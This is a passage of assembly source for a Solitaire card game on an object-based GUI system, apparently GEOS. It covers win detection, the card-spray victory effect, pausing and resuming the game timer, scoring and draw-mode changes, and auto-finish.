mov cx, ds:[di].GI_score
clr dx
mov ax, ds:[di].KI_time
; call HiScoreAddScore
jmp createGState
checkCountDown:
cmp ds:[di].KI_scoringType, ST_COUNTDOWN
jne createGState
;
; Calculate a "score" for the countdown time
;
; For now, = 3600 - time
;
mov ax, ds:[di].KI_countdownTime
mov cx, 3600
sub cx, ax
clr dx
; call HiScoreAddScore
createGState:
mov ax, MSG_VIS_VUP_CREATE_GSTATE
call ObjCallInstanceNoLock
;
; The fan is rotated about a point 4 card widths from the left
; edge of the screen and 800 pixels from the top of the screen,
; so we need to translate our gstate origin to that point
;
PointDi2 Game_offset
mov dx, ds:[di].GI_cardWidth ;dx <- 4 * cardWidth
shl dx
shl dx
mov bx, 50
push bx
mov bx, 800
push bx
clr cx
clr ax
mov di, bp
call GrApplyTranslation
;
; Now we apply the intial rotation to the gstate (subsequent
; rotations are carried out by the cards themselves).
;
clr cx
mov dx, EFFECTS_ANGLE
call GrApplyRotation
mov bp, di
pop cx
pop bx
sub cx, bx
;
; Now we tell each of the foundations to spray their cards out
;
mov dx, FIRST_FOUNDATION
mov bx, ds:[LMBH_handle]
mov ax, MSG_SOLITAIRE_SPRAY_DECK
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
call ObjMessage
mov dx, FIRST_FOUNDATION + 1
mov bx, ds:[LMBH_handle]
mov ax, MSG_SOLITAIRE_SPRAY_DECK
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
call ObjMessage
mov dx, FIRST_FOUNDATION + 2
mov bx, ds:[LMBH_handle]
mov ax, MSG_SOLITAIRE_SPRAY_DECK
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
call ObjMessage
mov dx, LAST_FOUNDATION
mov bx, ds:[LMBH_handle]
mov ax, MSG_SOLITAIRE_SPRAY_DECK
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
call ObjMessage
endSolitaireWeHaveAWinner:
ret
SolitaireWeHaveAWinner endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSprayDeck
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SPRAY_DECK handler for SolitaireClass
Sends a method to the indicated deck instructing it to
spray out its cards.
CALLED BY:
PASS: cx = radius of the fan (in pixels)
dx = # of child in composite to spray
bp = gstate to spray through
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSprayDeck method SolitaireClass, MSG_SOLITAIRE_SPRAY_DECK
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jz endSolitaireSprayDeck
test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED or mask GA_ICONIFIED
jnz endSolitaireSprayDeck
;
;
push cx, bp
clr cx
mov ax, MSG_VIS_FIND_CHILD
call ObjCallInstanceNoLock
pop bx, bp
xchg bx, cx
jc endSolitaireSprayDeck
mov si, dx
mov dx, EFFECTS_DELTA_ANGLE
neg dx
mov ax, MSG_DECK_SPRAY_CARDS
mov di, mask MF_FIXUP_DS
call ObjMessage
endSolitaireSprayDeck:
ret
SolitaireSprayDeck endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireCheckForWinner
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_CHECK_FOR_WINNER handler for SolitaireClass
Checks whether or not the user has won the game yet, and
if so sends a method to itself to produce the win effect.
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireCheckForWinner method SolitaireClass, MSG_SOLITAIRE_CHECK_FOR_WINNER
CallObject Foundation1, MSG_DECK_GET_N_CARDS, MF_CALL
cmp cx, 13
LONG jl noWinner
CallObject Foundation2, MSG_DECK_GET_N_CARDS, MF_CALL
cmp cx, 13
LONG jl noWinner
CallObject Foundation3, MSG_DECK_GET_N_CARDS, MF_CALL
cmp cx, 13
LONG jl noWinner
CallObject Foundation4, MSG_DECK_GET_N_CARDS, MF_CALL
cmp cx, 13
LONG jl noWinner
mov di, ds:[si]
add di, ds:[di].Game_offset
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jnz noWinner
SET ds:[di].GI_gameAttrs, GA_JUST_WON_A_GAME
mov dl, VUM_NOW
CallObject UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS
;; call SolitairePauseTimer
;
; Stop the timer because we have a winner. Can't just
; pause it or else it will unpause if we are transparently
; detached and then restarted. --jwu 9/28/93
;
call SolitaireStopTimer
mov dl, VUM_DELAYED_VIA_APP_QUEUE
CallObject AutoFinishTrigger, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS
CallObject NewGameTrigger, MSG_GEN_SET_USABLE, MF_FIXUP_DS
; Tell the user he/she won.
;
PLAY_SOUND SS_GAME_WON ; "user completed a game successfully" sound
clr ax
pushdw axax ; SDOP_helpContext
pushdw axax ; SDOP_customTriggers
pushdw axax ; SDOP_stringArg2
pushdw axax ; SDOP_stringArg1
mov bx, handle StringBlock
mov ax, offset WinningString
pushdw bxax ; SDOP_customString
mov ax, CDT_NOTIFICATION shl offset CDBF_DIALOG_TYPE or \
GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE
push ax
call UserStandardDialogOptr
if 0
mov ax, MSG_SOLITAIRE_NEW_GAME
call ObjCallInstanceNoLock
;else
mov ax, MSG_SOLITAIRE_WE_HAVE_A_WINNER
call ObjCallInstanceNoLock
endif
jmp done
noWinner:
mov di, ds:[si]
add di, ds:[di].Game_offset
cmp ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING
je outOfTime
done:
ret
outOfTime:
PLAY_SOUND SS_OUT_OF_TIME ; "user is out of time" sound
mov ds:[di].KI_timeStatus, TIME_EXPIRED
mov ax, MSG_GEN_INTERACTION_INITIATE
mov bx, handle OutOfTimeBox
mov si, offset OutOfTimeBox
clr di
call ObjMessage
jmp done
SolitaireCheckForWinner endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetDonor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SET_DONOR handler for SolitaireClass
Checks to see if the game has been won as a result of the
last card transfer
CALLED BY:
PASS: nothing
CHANGES:
RETURN: carry set if user has won the game
DESTROYED: ax, bx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetDonor method SolitaireClass, MSG_GAME_SET_DONOR
;
; see if the donor is the talon
;
cmp dx, offset MyTalon
jne callSuper
;
; It is the talon. Check for any face down cards in the
; tableau.
;
mov bx, ds:[LMBH_handle]
mov ax, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
call ObjMessage
callSuper:
;
; Call super class
;
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
mov ax, MSG_GAME_SET_DONOR
call ObjCallSuperNoLock
;
; Queue a MSG_SOLITAIRE_CHECK_FOR_WINNER so that once this transfer
; is over, we can see whether or not the user has won.
;
mov bx, ds:[LMBH_handle]
mov ax, MSG_SOLITAIRE_CHECK_FOR_WINNER
mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE
call ObjMessage
ret
SolitaireSetDonor endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireLostSysTargetExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercepted to pause the timer.
CALLED BY: MSG_META_LOST_SYS_TARGET_EXCL
PASS: *ds:si = SolitaireClass object
ds:di = SolitaireClass instance data
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 6/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireLostSysTargetExcl method dynamic SolitaireClass,
MSG_META_LOST_SYS_TARGET_EXCL
.enter
;
; See if time is on...
;
cmp ds:[di].KI_timeStatus, TIME_ON
jne callSuper
;
; If the timer is going, set the time status to TIME_PAUSED
; and nuke the timer (it will be restarted in SolitaireVisOpen).
;
mov ds:[di].KI_timeStatus, TIME_NOT_ACTIVE
clr bx
xchg bx, ds:[di].KI_timerHandle
tst bx
jz callSuper
clr ax ; 0 => continual
call TimerStop
callSuper:
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
mov ax, MSG_META_LOST_SYS_TARGET_EXCL
call ObjCallSuperNoLock
.leave
ret
SolitaireLostSysTargetExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGainedSysTargetExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercepted to Unpause the timer.
CALLED BY: MSG_META_GAINED_SYS_TARGET_EXCL
PASS: *ds:si = SolitaireClass object
ds:di = SolitaireClass instance data
es = segment of SolitaireClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 6/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireGainedSysTargetExcl method dynamic SolitaireClass,
MSG_META_GAINED_SYS_TARGET_EXCL
.enter
mov di, offset SolitaireClass
call ObjCallSuperNoLock
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
cmp ds:[di].KI_timeStatus, TIME_NOT_ACTIVE
jne done
;
; Start the timer
;
mov ds:[di].KI_timeStatus, TIME_ON
mov bx, ds:[LMBH_handle]
mov al, TIMER_EVENT_CONTINUAL ;Timer Type
clr cx ;no delay before starting
mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send?
mov di, ONE_SECOND ;how often?
call TimerStart
;
; Keep the timer handle around so we can stop it later
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov ds:[di].KI_timerHandle, bx
done:
.leave
ret
SolitaireGainedSysTargetExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireLostSysFocusExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercepted to pause the timer.
CALLED BY: MSG_META_LOST_SYS_FOCUS_EXCL
PASS: *ds:si = SolitaireClass object
ds:di = SolitaireClass instance data
es = segment of SolitaireClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JW 9/28/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireLostSysFocusExcl method dynamic SolitaireClass,
MSG_META_LOST_SYS_FOCUS_EXCL
;
; See if the timer is ticking.
;
cmp ds:[di].KI_timeStatus, TIME_ON
jne callSuper
;
; If the timer is going, set the time status to TIME_NOT_ACTIVE
; and nuke the timer. (The timer will be restarted in
; SolitaireGainedSysFocusExcl.)
;
mov ds:[di].KI_timeStatus, TIME_NOT_ACTIVE
clr bx
xchg bx, ds:[di].KI_timerHandle
tst bx
jz callSuper
clr ax ; 0 => continual timer
call TimerStop
callSuper:
mov di, offset SolitaireClass
mov ax, MSG_META_LOST_SYS_FOCUS_EXCL
call ObjCallSuperNoLock
ret
SolitaireLostSysFocusExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGainedSysFocusExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercepted to unpausee the timer if needed.
CALLED BY: MSG_META_GAINED_SYS_FOCUS_EXCL
PASS: *ds:si = SolitaireClass object
es = segment of SolitaireClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JW 9/28/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireGainedSysFocusExcl method dynamic SolitaireClass,
MSG_META_GAINED_SYS_FOCUS_EXCL
;
; Call superclass first.
;
mov di, offset SolitaireClass
call ObjCallSuperNoLock
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
cmp ds:[di].KI_timeStatus, TIME_NOT_ACTIVE
jne done
;
; Start the timer.
;
mov ds:[di].KI_timeStatus, TIME_ON
mov bx, ds:[LMBH_handle]
mov al, TIMER_EVENT_CONTINUAL ; TimerType
clr cx ; no delay before starting
mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ; method to send
mov di, ONE_SECOND ; how often?
call TimerStart
;
; Save the timer handle so we can stop it later.
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov ds:[di].KI_timerHandle, bx
done:
ret
SolitaireGainedSysFocusExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireVisClose
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_VIS_CLOSE handler for SolitaireClass
Makes sure that the timer is no longer running before
the game closes visually.
CALLED BY:
PASS: nothing
CHANGES: stops the game timer, if any
RETURN: nothing
DESTROYED: bx, di
PSEUDO CODE/STRATEGY:
if timer is on, then stop it
call superclass
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireVisClose method SolitaireClass, MSG_VIS_CLOSE
;
; See if time is on...
;
cmp ds:[di].KI_timeStatus, TIME_ON
jne callSuper
;
; If the timer is going, set the time status to TIME_PAUSED
; and nuke the timer (it will be restarted in SolitaireVisOpen).
;
call SolitairePauseTimer
callSuper:
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
mov ax, MSG_VIS_CLOSE
call ObjCallSuperNoLock
ret
SolitaireVisClose endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireStopTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Stop the timer.
CALLED BY: SolitaireCheckForWinner
PASS: *ds:si - SolitaireClass
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 9/28/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireStopTimer proc near
class SolitaireClass
uses ax,bx,di
.enter
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov ds:[di].KI_timeStatus, TIME_STOPPED
clr bx
xchg bx, ds:[di].KI_timerHandle
tst bx
jz done
clr ax ; 0 => continual timer
call TimerStop
done:
.leave
ret
SolitaireStopTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitairePauseTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Halts the timer
Pass: *ds:si - SolitaireClass
Return: nothing
Destroyed: nothing
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Mar 16, 1993 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitairePauseTimer proc near
class SolitaireClass
uses ax, bx, di
.enter
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
cmp ds:[di].KI_timeStatus, TIME_EXPIRED
je pauseNotNeeded
mov ds:[di].KI_timeStatus, TIME_PAUSED
pauseNotNeeded:
clr bx
xchg bx, ds:[di].KI_timerHandle
tst bx
jz done
clr ax ; 0 => continual
call TimerStop
done:
.leave
ret
SolitairePauseTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireUnpauseTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Unpauses the timer
Pass: *ds:si - SolitaireClass
Return: nothing
Destroyed: nothing
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Mar 16, 1993 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireUnpauseTimer proc near
class SolitaireClass
uses ax, bx, cx, dx, di
.enter
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
cmp ds:[di].KI_timeStatus, TIME_PAUSED
jne done
;
; Start the timer
;
mov ds:[di].KI_timeStatus, TIME_ON
mov bx, ds:[LMBH_handle]
mov al, TIMER_EVENT_CONTINUAL ;Timer Type
clr cx ;no delay before starting
mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send?
mov di, ONE_SECOND ;how often?
call TimerStart
;
; Keep the timer handle around so we can stop it later
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov ds:[di].KI_timerHandle, bx
done:
.leave
ret
SolitaireUnpauseTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireVisOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_VIS_OPEN handler for SolitaireClass
Checks to see if we need to restart the game timer if
it had been previously stopped (in SolitaireVisClose)
before opening visually.
CALLED BY:
PASS: nothing
CHANGES: If the time status is initially TIME_PAUSED, then it
is changed to TIME_ON and a timer is started.
RETURN: nothing
DESTROYED: bx, cx, dx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireVisOpen method SolitaireClass, MSG_VIS_OPEN
mov di, offset SolitaireClass
call ObjCallSuperNoLock
call SolitaireUnpauseTimer
ret
SolitaireVisOpen endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireDeckSelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_DECK_SELECTED handler for SolitaireClass
Makes sure the game hasn't been won before letting the
superclass do its thing. If the game HAS been won, no
more card dragging should be allowed.
CALLED BY:
PASS: ^lcx:dx = OD of selected deck
bp = # of child in composite that was selected
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireDeckSelected method SolitaireClass, MSG_GAME_DECK_SELECTED
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jnz done
mov di, offset SolitaireClass
call ObjCallSuperNoLock
done:
ret
SolitaireDeckSelected endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireResetScore
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Resets the score based on the scoring type.
CALLED BY: MSG_SOLITAIRE_RESET_SCORE
PASS: *ds:si = SolitaireClass object
ds:di = SolitaireClass instance data
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 6/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireResetScore method dynamic SolitaireClass,
MSG_SOLITAIRE_RESET_SCORE
.enter
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jz checkNewGame
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL
call ObjCallInstanceNoLock
jmp done
checkNewGame:
cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
jne gameInProgress
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE
call ObjCallInstanceNoLock
done:
.leave
ret
gameInProgress:
cmp ds:[di].KI_scoringType, ST_NONE
je done
call SolitairePauseTimer
push si
mov bx, handle ResetGameConfirmBox
mov si, offset ResetGameConfirmBox
call UserDoDialog
pop si
call SolitaireUnpauseTimer
cmp ax, IC_YES
jne done
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL
call ObjCallInstanceNoLock
jmp done
SolitaireResetScore endm
SolitaireNotifyCardFlipped method SolitaireClass, MSG_GAME_NOTIFY_CARD_FLIPPED
dec ds:[di].KI_nFaceDownCardsInTableau
ja done
mov ax, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE
call ObjCallInstanceNoLock
done:
ret
SolitaireNotifyCardFlipped endm
SolitaireCheckAutoFinishEnable method SolitaireClass, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE
tst ds:[di].KI_nFaceDownCardsInTableau
jnz done
mov bx, handle MyTalon
mov si, offset MyTalon
mov ax, MSG_DECK_GET_N_CARDS
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
tst cx
jnz done
mov bx, handle MyHand
mov si, offset MyHand
mov ax, MSG_DECK_GET_N_CARDS
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
tst cx
jnz done
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov bx, handle NewGameTrigger
mov si, offset NewGameTrigger
mov ax, MSG_GEN_SET_NOT_USABLE
mov di, mask MF_FIXUP_DS
call ObjMessage
mov bx, handle AutoFinishTrigger
mov si, offset AutoFinishTrigger
mov ax, MSG_GEN_SET_USABLE
mov di, mask MF_FIXUP_DS
call ObjMessage
done:
ret
SolitaireCheckAutoFinishEnable endm
SolitaireAutoFinish method SolitaireClass, MSG_SOLITAIRE_AUTO_FINISH
finishLoop:
mov bx, handle TE1
mov si, offset TE1
call DoubleClickIfPossible
clr cx ;cx = # of decks with cards
jnc tryTE2
inc cx
tryTE2:
push cx
mov bx, handle TE2
mov si, offset TE2
call DoubleClickIfPossible
pop cx
jnc tryTE3
inc cx
tryTE3:
push cx
mov bx, handle TE3
mov si, offset TE3
call DoubleClickIfPossible
pop cx
jnc tryTE4
inc cx
tryTE4:
push cx
mov bx, handle TE4
mov si, offset TE4
call DoubleClickIfPossible
pop cx
jnc tryTE5
inc cx
tryTE5:
push cx
mov bx, handle TE5
mov si, offset TE5
call DoubleClickIfPossible
pop cx
jnc tryTE6
inc cx
tryTE6:
push cx
mov bx, handle TE6
mov si, offset TE6
call DoubleClickIfPossible
pop cx
jnc tryTE7
inc cx
tryTE7:
push cx
mov bx, handle TE7
mov si, offset TE7
call DoubleClickIfPossible
pop cx
jc finishLoop ;if TE7 had a card, loop
jcxz done ;if no cards, done
jmp finishLoop
done:
ret
SolitaireAutoFinish endm
DoubleClickIfPossible proc near
mov ax, MSG_DECK_GET_N_CARDS
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
clc
jcxz done
clr bp
mov ax, MSG_DECK_CARD_DOUBLE_CLICKED
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
stc
done:
ret
DoubleClickIfPossible endp
SolitaireUserRequestsScoringTypeChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE
;
; Set scoring mode
;
push si
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle ScoringList
mov si, offset ScoringList
mov di, mask MF_FIXUP_DS
call ObjMessage
pop si
mov di, ds:[si]
add di, ds:[di].Game_offset
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jz checkNewGame
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL
call ObjCallInstanceNoLock
jmp done
checkNewGame:
cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
jne gameInProgress
setAndExit:
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE
call ObjCallInstanceNoLock
done:
ret
gameInProgress:
cmp cl, ST_NONE
je setAndExit
call SolitairePauseTimer
push si
mov bx, handle ResetGameConfirmBox
mov si, offset ResetGameConfirmBox
call UserDoDialog
pop si
call SolitaireUnpauseTimer
cmp ax, IC_YES
mov ax, MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST
jne sendMessage
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL
sendMessage:
call ObjCallInstanceNoLock
jmp done
SolitaireUserRequestsScoringTypeChange endm
SolitaireFixupScoringTypeList method SolitaireClass, MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST
mov cl, ds:[di].KI_scoringType
clr ch
mov bx, handle ScoringList
mov si, offset ScoringList
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr di
call ObjMessage
ret
SolitaireFixupScoringTypeList endm
SolitaireUserRequestsDrawNumberChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_DRAW_NUMBER_CHANGE
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jz checkNewGame
mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL
call ObjCallInstanceNoLock
jmp done
checkNewGame:
cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
jne gameInProgress
mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER
call ObjCallInstanceNoLock
jmp done
gameInProgress:
call SolitairePauseTimer
push si
mov bx, handle ResetGameConfirmBox
mov si, offset ResetGameConfirmBox
call UserDoDialog
pop si
call SolitaireUnpauseTimer
cmp ax, IC_YES
mov ax, MSG_SOLITAIRE_FIXUP_DRAW_LIST
jne sendMessage
mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL
sendMessage:
call ObjCallInstanceNoLock
done:
ret
SolitaireUserRequestsDrawNumberChange endm
